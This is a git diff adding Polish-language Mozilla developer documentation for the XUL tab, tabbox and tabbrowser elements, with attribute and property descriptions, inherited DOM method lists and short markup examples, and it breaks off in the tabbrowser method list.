+</dd><dd> Jeśli etykieta elementu jest zbyt duża by zmieścić się w danym miejscu, to jej tekst zostanie skrócony po stronie określonej przy pomocy atrybutu <code>crop</code>. Wycięty fragment tekstu zostanie zastąpiony wielokropkiem. Jeśli kierunek pudełka jest określony w lewą stronę, to skrócenie tekstu nastąpi w tym samym kierunku (czyli z lewej strony):
+</dd></dl>
+<ul><li> <code>start</code>: Tekst będzie skrócony z lewej strony.
+</li><li> <code>end</code>: Tekst będzie skrócony z prawej strony.
+</li><li> <code>left</code>: <span title="This deprecated API should no longer be used, but will probably still work."><i class="icon-thumbs-down-alt"> </i></span> Tekst będzie skrócony z lewej strony.
+</li><li> <code>right</code>: <span title="This deprecated API should no longer be used, but will probably still work."><i class="icon-thumbs-down-alt"> </i></span> Tekst będzie skrócony z prawej strony.
+</li><li> <code>center</code>: Tekst będzie skrócony w środku, pokazując oba końce: początek i koniec normalnego tekstu. </li><li> <code>none</code>: Tekst nie będzie skrócony przy zastosowaniu wielokropka. Jednakże, tekst skrócony zostanie po prostu obcięty, jeśli będzie za duży. Strona skrócenia owego tekstu zależy od rozmieszczenia tekstu określonego w arkuszu stylów CSS.
+</li></ul>
+<pre class="eval"> menupopup &gt; menuitem, menupopup &gt; menu { max-width: none; }
+</pre>
+<p><br>
+</p><p><br>
+</p>
+
+
+</div>
+<div id="a-disabled">
+
+<dl><dt> <code id="a-disabled"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/disabled">disabled</a></code>
+</dt><dd> Typ: <i>boolean</i>
+</dd><dd> Określa, czy element jest wyłączony. Jeśli atrybut ten ma wartość <code>true</code>, to element będzie wyłączony. Wyłączone elementy zazwyczaj są wyszarzone. Jeśli element jest wyłączony, nie odpowiada na czynności użytkownika, nie może zostać na niego ustawiony focus, a zdarzenie <i>command</i> nie zostanie wywołane. </dd></dl>
+<div class="float-right"><img alt="grafika:XUL_ref_attr_disabled.png"></div>
+<pre>&lt;!-- Pole wyboru włącza/wyłącza przycisk --&gt;
+&lt;checkbox label="Enable button"
+ onclick="document.getElementById('buttRemove').disabled = this.checked"/&gt;
+&lt;button id="buttRemove" label="Remove All" disabled="true"/&gt;
+</pre>
+</div>
+<div id="a-image">
+
+<dl><dt> <code id="a-image"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/image">image</a></code>
+</dt><dd> Typ: <i>adres URL obrazka</i>
+</dd><dd> Adres URL obrazka do wyświetlenia na elemencie. Jeśli ten atrybut zostanie opuszczony, to żaden obrazek nie zostanie wyświetlony. Pozycja obrazka jest określona przez atrybuty <code id="a-dir"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/dir">dir</a></code> i <code id="a-orient"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/orient">orient</a></code>.
+</dd></dl>
+
+
+</div>
+<div id="a-label">
+
+<dl><dt> <code id="a-label"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/label">label</a></code>
+</dt><dd> Typ: <i>string</i>
+</dd><dd> Etykieta, która zostanie wyświetlona na elemencie. Jeśli zostanie on usunięty, to żaden tekst nie zostanie wyświetlony. </dd></dl>
+
+
+</div>
+<div id="a-linkedpanel">
+
+</div>
+<div id="a-oncommand">
+
+<dl><dt> <code id="a-oncommand"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/oncommand">oncommand</a></code>
+</dt><dd> Typ: <i>kod skrypt</i>
+</dd><dd> Ta funkcja obsługi zdarzenia jest wywołana w momencie aktywacji polecenia. Ma to miejsce, gdy użytkownik zaznaczy pozycję menu lub kiedy naciśnie skrót klawiaturowy przypisany do polecenia.
+</dd></dl>
+
+
+</div>
+<div id="a-tab.selected">
+
+<dl>
+ <dt>
+ <a href="pl/XUL/Atrybut/tab.selected">selected</a></dt>
+ <dd>
+ Typ:
+ <i>
+ boolean</i>
+ </dd>
+ <dd>
+ Ten atrybut ustawia <code>true</code>, jeśli karta jest zaznaczona domyślnie.</dd>
+</dl>
+
+<p> </p>
+</div>
+<div id="a-validate">
+
+<dl>
+ <dt>
+ <code id="a-validate"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/validate">validate</a></code></dt>
+ <dd>
+ Typ:
+ <i>
+ jedna z poniższych wartości</i>
+ </dd>
+ <dd>
+ Atrybut ten określa, czy obrazek ma być wczytywany z pamięci podręcznej. Może być to przydatne, jeśli obrazki są wczytywane z serwera zdalnego, albo planowana jest częsta ich podmiana. Poniższe wartości są akceptowane; pominięcie tego atrybutu spowoduje zastosowanie wartości domyślnej.</dd>
+</dl>
+<ul>
+ <li><code>always</code>: Obrazek będzie zawsze sprawdzany, czy powinien być wczytany ponownie.</li>
+ <li><code>never</code>: Obrazek będzie wczytywany z pamięci podręcznej, o ile to tylko możliwe.</li>
+</ul>
+</div>
+<p></p>
+<h3 id="W.C5.82asno.C5.9Bci" name="W.C5.82asno.C5.9Bci"> Własności </h3>
+<p>
+</p><div id="p-accessible">
+<dl>
+ <dt>
+ <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/W%C5%82asno%C5%9B%C4%87/accessible">accessible</a></span></code></dt>
+ <dd>
+ Typ:
+ <i>
+ <a href="pl/NsIAccessible">nsIAccessible</a></i>
+ </dd>
+ <dd>
+ Zwraca obiekt dostępności dla elementu.</dd>
+</dl></div>
+<div id="p-label">
+<dl><dt> <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/W%C5%82asno%C5%9B%C4%87/label">label</a></span></code>
+</dt><dd> Typ: <i>string</i>
+</dd><dd> Pobiera i ustawia wartość atrybutu <code id="a-label"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/label">label</a></code>.
+</dd></dl>
+<p><br>
+</p>
+
+</div>
+<div id="p-linkedPanel">
+<dl>
+ <dt>
+ <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/W%C5%82asno%C5%9B%C4%87/linkedPanel">linkedPanel</a></span></code></dt>
+ <dd>
+ Typ:
+ <i>
+ id elementu <code><a href="/pl/docs/Mozilla/Tech/XUL/tabpanel" title="tabpanel">tabpanel</a></code></i>
+ </dd>
+ <dd>
+ Pobiera i ustawia wartość atrybutu <code id="a-linkedpanel"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/linkedpanel">linkedpanel</a></code>.</dd>
+</dl></div>
+<div id="p-selected">
+<dl>
+ <dt>
+ <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/W%C5%82asno%C5%9B%C4%87/selected">selected</a></span></code></dt>
+ <dd>
+ Typ:
+ <i>
+ boolean</i>
+ </dd>
+ <dd>
+ Pobiera i ustawia wartość atrybutu <code id="a-selected"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/selected">selected</a></code>.</dd>
+</dl></div>
+<div id="p-tabs">
+<dl>
+ <dt>
+ <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/W%C5%82asno%C5%9B%C4%87/tabs">tabs</a></span></code></dt>
+ <dd>
+ Typ:
+ <i>
+ element tabs</i>
+ </dd>
+ <dd>
+ Element <code><a href="/pl/docs/Mozilla/Tech/XUL/tabs" title="tabs">tabs</a></code>, w którym jest zawarty element <code><a href="/pl/docs/Mozilla/Tech/XUL/tab" title="tab">tab</a></code>.</dd>
+</dl></div>
+<p></p>
+<h3 id="Metody" name="Metody"> Metody </h3>
+<p></p><table style="border: 1px solid rgb(204, 204, 204); margin: 0px 0px 10px 10px; padding: 0px 10px; background: rgb(238, 238, 238) none repeat scroll 0% 50%;"> <tbody> <tr> <td> <p><strong>Dziedziczy z elementu XUL</strong><br> <small> <span id="m-blur"><code><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Metoda/blur">blur</a></code></span>, <span id="m-click"><code><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Metoda/click">click</a></code></span>, <span id="m-doCommand"><code><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Metoda/doCommand">doCommand</a></code></span>, <span id="m-focus"><code><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Metoda/focus">focus</a></code></span>, <span id="m-getElementsByAttribute"><code><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Metoda/getElementsByAttribute">getElementsByAttribute</a></code></span></small></p> <p><strong>Dziedziczy z elementu DOM</strong><br> <small> <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.addEventListener">addEventListener()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.appendChild">appendChild()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.dispatchEvent">dispatchEvent()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.getAttribute">getAttribute()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.getAttributeNode">getAttributeNode()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.getAttributeNodeNS">getAttributeNodeNS()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.getAttributeNS">getAttributeNS()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.getElementsByTagName">getElementsByTagName()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.getElementsByTagNameNS">getElementsByTagNameNS()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.hasAttribute">hasAttribute()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.hasAttributeNS">hasAttributeNS()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.hasAttributes">hasAttributes()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.hasChildNodes">hasChildNodes()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.insertBefore">insertBefore()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.isSupported">isSupported()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.normalize">normalize()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.removeAttribute">removeAttribute()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.removeAttributeNode">removeAttributeNode()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.removeAttributeNS">removeAttributeNS()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.removeChild">removeChild()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.removeEventListener">removeEventListener()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.replaceChild">replaceChild()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.setAttribute">setAttribute()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.setAttributeNode">setAttributeNode()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.setAttributeNodeNS">setAttributeNodeNS()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.setAttributeNS">setAttributeNS()</a></code></small></p> </td> </tr> </tbody>
+</table>
+<p></p>
+<h4 id="Issues" name="Issues"> Issues </h4>
+<p>Currently disabling of the tab fails. Whilst the tab is "greyed" out it does accept events. <a class="link-https" href="https://bugzilla.mozilla.org/show_bug.cgi?id=106387">.
+</a></p><p><a class="link-https" href="https://bugzilla.mozilla.org/show_bug.cgi?id=106387">Also "unhiding" a tab leads to unpredictable ordering of the tabs. See bugs </a><a class="link-https" href="https://bugzilla.mozilla.org/show_bug.cgi?id=307088">, </a><a class="link-https" href="https://bugzilla.mozilla.org/show_bug.cgi?id=261826"> and </a><a class="link-https" href="https://bugzilla.mozilla.org/show_bug.cgi?id=366116">
+</a></p><a class="link-https" href="https://bugzilla.mozilla.org/show_bug.cgi?id=366116">
+<h3 id="Podobne" name="Podobne"> Podobne </h3>
+</a><dl><a class="link-https" href="https://bugzilla.mozilla.org/show_bug.cgi?id=366116"><dt> Elementy
+</dt></a><dd><a class="link-https" href="https://bugzilla.mozilla.org/show_bug.cgi?id=366116"><code></code></a><code><a href="/pl/docs/Mozilla/Tech/XUL/tabbox" title="tabbox">tabbox</a></code>, <code><a href="/pl/docs/Mozilla/Tech/XUL/tabs" title="tabs">tabs</a></code>, <code><a href="/pl/docs/Mozilla/Tech/XUL/tabpanels" title="tabpanels">tabpanels</a></code>, <code><a href="/pl/docs/Mozilla/Tech/XUL/tabpanel" title="tabpanel">tabpanel</a></code>.
+</dd><dt> Interfejsy
+</dt><dd><a class="link-https" href="https://bugzilla.mozilla.org/show_bug.cgi?id=366116"> </a><a href="pl/NsIAccessibleProvider">nsIAccessibleProvider</a>, <a href="pl/NsIDOMXULSelectControlItemElement">nsIDOMXULSelectControlItemElement</a>
+</dd></dl>
+<p><br>
+</p>
+<div class="noinclude">
+</div>
diff --git a/files/pl/mozilla/tech/xul/tabbox/index.html b/files/pl/mozilla/tech/xul/tabbox/index.html
new file mode 100644
index 0000000000..210b2230a6
--- /dev/null
+++ b/files/pl/mozilla/tech/xul/tabbox/index.html
@@ -0,0 +1,168 @@
+---
+title: tabbox
+slug: Mozilla/Tech/XUL/tabbox
+tags:
+ - Dokumentacja_XUL
+ - Elementy_XUL
+translation_of: Archive/Mozilla/XUL/tabbox
+---
+<div class="noinclude"><span class="breadcrumbs XULRef_breadcrumbs">
+ « <a href="/pl/docs/Dokumentacja_XUL">Dokumentacja XUL</a> [
+ <a href="#Przyk.C5.82ady">Przykłady</a> |
+ <a href="#Atrybuty">Atrybuty</a> |
+ <a href="#W.C5.82asno.C5.9Bci">Własności</a> |
+ <a href="#Metody">Metody</a> |
+ <a href="#Podobne">Podobne</a> ]
+</span></div> <p>Kontener stosuje się do wyświetlania elementów strony w karcie. Na <code>tabbox</code> powinny się składać dwa jego elementy potomne, pierwszy element <code><a href="/pl/docs/Mozilla/Tech/XUL/tabs" title="tabs">tabs</a></code>, który stanowi <code><a href="/pl/docs/Mozilla/Tech/XUL/tab" title="tab">tab</a></code> i drugi element <code><a href="/pl/docs/Mozilla/Tech/XUL/tabpanels" title="tabpanels">tabpanels</a></code>, który stanowi zawartość stron. Jest to typ pudełka, które domyślnie posiada orientację poziomą. </p><p>Dodatkowe informacje są dostępne w <a href="pl/Kurs_XUL/Pude%c5%82ko_kart">kursie XUL</a>.
+</p>
+<dl><dt> Atrybuty
+</dt><dd> <a href="#a-eventnode">eventnode</a>, <a href="#a-handleCtrlPageUpDown">handleCtrlPageUpDown</a>, <a href="#a-handleCtrlTab">handleCtrlTab</a>
+</dd></dl>
+<dl><dt> Własności
+</dt><dd> <a href="#p-accessible">accessible</a>, <a href="#p-eventNode">eventNode</a>, <a href="#p-handleCtrlPageUpDown">handleCtrlPageUpDown</a>, <a href="#p-handleCtrlTab">handleCtrlTab</a>, <a href="#p-selectedIndex">selectedIndex</a>, <a href="#p-selectedPanel">selectedPanel</a>, <a href="#p-selectedTab">selectedTab</a>
+</dd></dl>
+<h3 id="Przyk.C5.82ady" name="Przyk.C5.82ady"> Przykłady </h3>
+<pre>&lt;tabbox id="myTabList" selectedIndex="2"&gt;
+ &lt;tabs&gt;
+ &lt;tab label="A First tab"/&gt;
+ &lt;tab label="Second tab"/&gt;
+ &lt;tab label="Another tab"/&gt;
+ &lt;tab label="Last tab"/&gt;
+ &lt;/tabs&gt;
+ &lt;tabpanels&gt;
+ &lt;tabpanel&gt;&lt;!-- tabpanel First elements go here --&gt;&lt;/tabpanel&gt;
+ &lt;tabpanel&gt;&lt;!-- tabpanel Second elements go here --&gt;&lt;/tabpanel&gt;
+ &lt;tabpanel&gt;&lt;button label="Click me"/&gt;&lt;/tabpanel&gt;
+ &lt;tabpanel&gt;&lt;!-- tabpanel Fourth elements go here --&gt;&lt;/tabpanel&gt;
+ &lt;/tabpanels&gt;
+&lt;/tabbox&gt;
+</pre>
+<p><img alt="grafika:XUL_REF_tabboxes.gif">
+</p>
+<h3 id="Atrybuty" name="Atrybuty"> Atrybuty </h3>
+<p>
+</p><div id="a-eventnode">
+
+<dl><dt> <code id="a-eventnode"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/eventnode">eventnode</a></code>
+</dt><dd> Typ: <i>jedna z wartości poniżej</i>
+</dd><dd> Sygnalizuje gdzie zdarzenia nawigacji klawiaturą są nasłuchiwane. Jeśli ten atrybut jest nieokreślony, zdarzenia są nasłuchiwane z <code><a href="/pl/docs/Mozilla/Tech/XUL/tabbox" title="tabbox">tabbox</a></code>. Tak więc, jeśli ten atrybut nie jest stosowany, <code><a href="/pl/docs/Mozilla/Tech/XUL/tabbox" title="tabbox">tabbox</a></code> lub element wewnątrz niego musi posiadać aktywną nawigację klawiatury do zastosowania.
+</dd></dl>
+<ul><li> <code>parent</code>: Nawigacja klawiatury jest opanowana w rodzicu <code><a href="/pl/docs/Mozilla/Tech/XUL/tabbox" title="tabbox">tabbox</a></code>.
+</li><li> <code>window</code>: Nawigacja klawiatury jest opanowana na poziomie okna. Nawigacja kartą przydarzyć się może pod warunkiem, jeśli jakikolwiek element w oknie jest aktywny. </li><li> <code>document</code>: Nawigacja klawiatury jest opanowana na poziomie dokumentu. Nawigacja kartą przydarzyć się może pod warunkiem, jeśli jakikolwiek element w dokumencie jest aktywny.
+</li></ul>
+<p><br>
+</p>
+
+
+</div>
+<div id="a-handleCtrlPageUpDown">
+
+<dl><dt> <code id="a-handleCtrlPageUpDown"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/handleCtrlPageUpDown">handleCtrlPageUpDown</a></code>
+</dt><dd> Typ: <i>boolean</i>
+</dd><dd> Jeśli jest ustawione na <code>true</code> lub opuszczone, to klawisze &lt;tt&gt;Control&lt;/tt&gt; i &lt;tt&gt;Page Up&lt;/tt&gt; lub &lt;tt&gt;Page Down&lt;/tt&gt; mogą służyć do przełączania do następnej lub wcześniejszej karty. Jeśli ten atrybut jest ustawiony na <code>false</code>, te klawisze nie będą służyły do nawigacji pomiędzy kartami.
+</dd></dl>
+<p><br>
+</p>
+
+
+</div>
+<div id="a-handleCtrlTab">
+
+<dl><dt> <code id="a-handleCtrlTab"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/handleCtrlTab">handleCtrlTab</a></code>
+</dt><dd> Typ: <i>boolean</i>
+</dd><dd> Jeśli ustawiony na <code>true</code> lub zostanie opuszczony, <code><a href="/pl/docs/Mozilla/Tech/XUL/tabbox" title="tabbox">tabbox</a></code> będzie przełączany do następnej karty gdy naciśniemy klawisze &lt;tt&gt;Control&lt;/tt&gt; i &lt;tt&gt;Tab&lt;/tt&gt;. Jeśli klawisz &lt;tt&gt;Shift&lt;/tt&gt; jest przytrzymany wciśnięty to zostanie wyświetlona wcześniejsza karta. Jeśli ten atrybut jest ustawiony na <code>false</code>, to te klawisze nie będą przenosiły pomiędzy kartami.
+</dd></dl>
+<p><br>
+</p>
+
+
+</div>
+<p></p>
+<h3 id="W.C5.82asno.C5.9Bci" name="W.C5.82asno.C5.9Bci"> Własności </h3>
+<p>
+</p><div id="p-accessible">
+<dl>
+ <dt>
+ <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/W%C5%82asno%C5%9B%C4%87/accessible">accessible</a></span></code></dt>
+ <dd>
+ Typ:
+ <i>
+ <a href="pl/NsIAccessible">nsIAccessible</a></i>
+ </dd>
+ <dd>
+ Zwraca obiekt dostępności dla elementu.</dd>
+</dl></div>
+<div id="p-eventNode"></div>
+<div id="p-handleCtrlPageUpDown">
+<dl>
+ <dt>
+ <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/W%C5%82asno%C5%9B%C4%87/handleCtrlPageUpDown">handleCtrlPageUpDown</a></span></code></dt>
+ <dd>
+ Typ:
+ <i>
+ boolean</i>
+ </dd>
+ <dd>
+ Pobiera i ustawia wartość atrybutu <code id="a-handleCtrlPageUpDown"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/handleCtrlPageUpDown">handleCtrlPageUpDown</a></code>.</dd>
+</dl></div>
+<div id="p-handleCtrlTab">
+<dl>
+ <dt>
+ <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/W%C5%82asno%C5%9B%C4%87/handleCtrlTab">handleCtrlTab</a></span></code></dt>
+ <dd>
+ Typ:
+ <i>
+ boolean</i>
+ </dd>
+ <dd>
+ Pobiera i ustawia wartość atrybutu <code id="a-handleCtrlTab"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/handleCtrlTab">handleCtrlTab</a></code>.</dd>
+</dl></div>
+<div id="p-selectedIndex">
+<dl>
+ <dt>
+ <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/W%C5%82asno%C5%9B%C4%87/selectedIndex">selectedIndex</a></span></code></dt>
+ <dd>
+ Typ:
+ <i>
+ integer</i>
+ </dd>
+ <dd>
+ Zwraca indeks aktualnie zaznaczonej pozycji. Można zaznaczyć pozycję przypisując jej numer indeksu do własności. Przydzielając <code>-1</code> do tej własności, wszystkie pozycje zostaną odznaczone.</dd>
+</dl></div>
+<div id="p-selectedPanel">
+<dl>
+ <dt>
+ <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/W%C5%82asno%C5%9B%C4%87/selectedPanel">selectedPanel</a></span></code></dt>
+ <dd>
+ Typ:
+ <i>
+ element</i>
+ </dd>
+ <dd>
+ Trzyma odniesienie do aktualnie zaznaczonego panelu bez elementu <code>&lt;tabbox&gt;</code>. Przydziela wartość do tej własności, aby zmodyfikować zaznaczony panel. Zaznaczone zdarzenie będzie przesłane, kiedy zaznaczony panel jest zmieniany.</dd>
+</dl></div>
+<div id="p-selectedTab">
+<dl>
+ <dt>
+ <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/W%C5%82asno%C5%9B%C4%87/selectedTab">selectedTab</a></span></code></dt>
+ <dd>
+ Typ:
+ <i>
+ element tab</i>
+ </dd>
+ <dd>
+ Referencja do aktualnie zaznaczonej karty, która będzie zawsze jednym z elementów <code><a href="/pl/docs/Mozilla/Tech/XUL/tab" title="tab">tab</a></code> w elemencie <code><a href="/pl/docs/Mozilla/Tech/XUL/tabs" title="tabs">tabs</a></code>. Przydziela wartość do tej własności, aby modyfikować aktualnie zaznaczoną kartę.</dd>
+</dl></div>
+<p></p>
+<h3 id="Metody" name="Metody"> Metody </h3>
+<p></p><table style="border: 1px solid rgb(204, 204, 204); margin: 0px 0px 10px 10px; padding: 0px 10px; background: rgb(238, 238, 238) none repeat scroll 0% 50%;"> <tbody> <tr> <td> <p><strong>Dziedziczy z elementu XUL</strong><br> <small> <span id="m-blur"><code><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Metoda/blur">blur</a></code></span>, <span id="m-click"><code><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Metoda/click">click</a></code></span>, <span id="m-doCommand"><code><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Metoda/doCommand">doCommand</a></code></span>, <span id="m-focus"><code><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Metoda/focus">focus</a></code></span>, <span id="m-getElementsByAttribute"><code><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Metoda/getElementsByAttribute">getElementsByAttribute</a></code></span></small></p> <p><strong>Dziedziczy z elementu DOM</strong><br> <small> <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.addEventListener">addEventListener()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.appendChild">appendChild()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.dispatchEvent">dispatchEvent()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.getAttribute">getAttribute()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.getAttributeNode">getAttributeNode()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.getAttributeNodeNS">getAttributeNodeNS()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.getAttributeNS">getAttributeNS()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.getElementsByTagName">getElementsByTagName()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.getElementsByTagNameNS">getElementsByTagNameNS()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.hasAttribute">hasAttribute()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.hasAttributeNS">hasAttributeNS()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.hasAttributes">hasAttributes()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.hasChildNodes">hasChildNodes()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.insertBefore">insertBefore()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.isSupported">isSupported()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.normalize">normalize()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.removeAttribute">removeAttribute()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.removeAttributeNode">removeAttributeNode()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.removeAttributeNS">removeAttributeNS()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.removeChild">removeChild()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.removeEventListener">removeEventListener()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.replaceChild">replaceChild()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.setAttribute">setAttribute()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.setAttributeNode">setAttributeNode()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.setAttributeNodeNS">setAttributeNodeNS()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.setAttributeNS">setAttributeNS()</a></code></small></p> </td> </tr> </tbody>
+</table>
+<p></p>
+<h3 id="Podobne" name="Podobne"> Podobne </h3>
+<dl><dt>Elementy
+</dt><dd><code><a href="/pl/docs/Mozilla/Tech/XUL/tabs" title="tabs">tabs</a></code>, <code><a href="/pl/docs/Mozilla/Tech/XUL/tab" title="tab">tab</a></code>, <code><a href="/pl/docs/Mozilla/Tech/XUL/tabpanels" title="tabpanels">tabpanels</a></code>, <code><a href="/pl/docs/Mozilla/Tech/XUL/tabpanel" title="tabpanel">tabpanel</a></code>.
+</dd></dl>
+<p><br>
+</p>
+<div class="noinclude">
+</div>
diff --git a/files/pl/mozilla/tech/xul/tabbrowser/index.html b/files/pl/mozilla/tech/xul/tabbrowser/index.html
new file mode 100644
index 0000000000..326cf655ff
--- /dev/null
+++ b/files/pl/mozilla/tech/xul/tabbrowser/index.html
@@ -0,0 +1,602 @@
+---
+title: tabbrowser
+slug: Mozilla/Tech/XUL/tabbrowser
+tags:
+ - Dokumentacja_XUL
+ - Elementy_XUL
+translation_of: Archive/Mozilla/XUL/tabbrowser
+---
+<div class="noinclude"><span class="breadcrumbs XULRef_breadcrumbs">
+ « <a href="/pl/docs/Dokumentacja_XUL">Dokumentacja XUL</a> [
+ <a href="#Przyk.C5.82ady">Przykłady</a> |
+ <a href="#Atrybuty">Atrybuty</a> |
+ <a href="#W.C5.82asno.C5.9Bci">Własności</a> |
+ <a href="#Metody">Metody</a> |
+ <a href="#Podobne">Podobne</a> ]
+</span></div> <p>Ten element jest stosowany dla podtrzymania ustawień tylko do odczytu przeglądania dokumentów sieciowych. Podobnym elementem jest <code><a href="/pl/docs/Mozilla/Tech/XUL/browser" title="browser">browser</a></code>, poza którym potrafi wyświetlić wiele dokumentów, każdy w osobnej karcie. Ten element jest zaimplementowany jako ustawienie przeglądarki wewnątrz elementu <code><a href="/pl/docs/Mozilla/Tech/XUL/tabbox" title="tabbox">tabbox</a></code>.
+</p>
+<dl><dt> Atrybuty
+</dt><dd> <a href="#a-autocompleteenabled">autocompleteenabled</a>, <a href="#a-autocompletepopup">autocompletepopup</a>, <a href="#a-autoscroll">autoscroll</a>, <a href="#a-contentcontextmenu">contentcontextmenu</a>, <a href="#a-contenttooltip">contenttooltip</a>, <a href="#a-handleCtrlPageUpDown">handleCtrlPageUpDown</a>, <a href="#a-onbookmarkgroup">onbookmarkgroup</a>, <a href="#a-onnewtab">onnewtab</a>
+</dd></dl>
+<dl><dt> Własności
+</dt><dd> <a href="#p-browsers">browsers</a>, <a href="#p-canGoBack">canGoBack</a>, <a href="#p-canGoForward">canGoForward</a>, <a href="#p-contentDocument">contentDocument</a>, <a href="#p-contentTitle">contentTitle</a>, <a href="#p-contentViewerEdit">contentViewerEdit</a>, <a href="#p-contentViewerFile">contentViewerFile</a>, <a href="#p-contentWindow">contentWindow</a>, <a href="#p-currentURI">currentURI</a>, <a href="#p-docShell">docShell</a>, <a href="#p-documentCharsetInfo">documentCharsetInfo</a>, <a href="#p-homePage">homePage</a>, <a href="#p-markupDocumentViewer">markupDocumentViewer</a>, <a href="#p-securityUI">securityUI</a>, <a href="#p-selectedBrowser">selectedBrowser</a>, <a href="#p-selectedTab">selectedTab</a>, <a href="#p-sessionHistory">sessionHistory</a>, <a href="#p-tabContainer">tabContainer</a>, <a href="#p-webBrowserFind">webBrowserFind</a>, <a href="#p-webNavigation">webNavigation</a>, <a href="#p-webProgress">webProgress</a>
+</dd></dl>
+<dl><dt> Metody
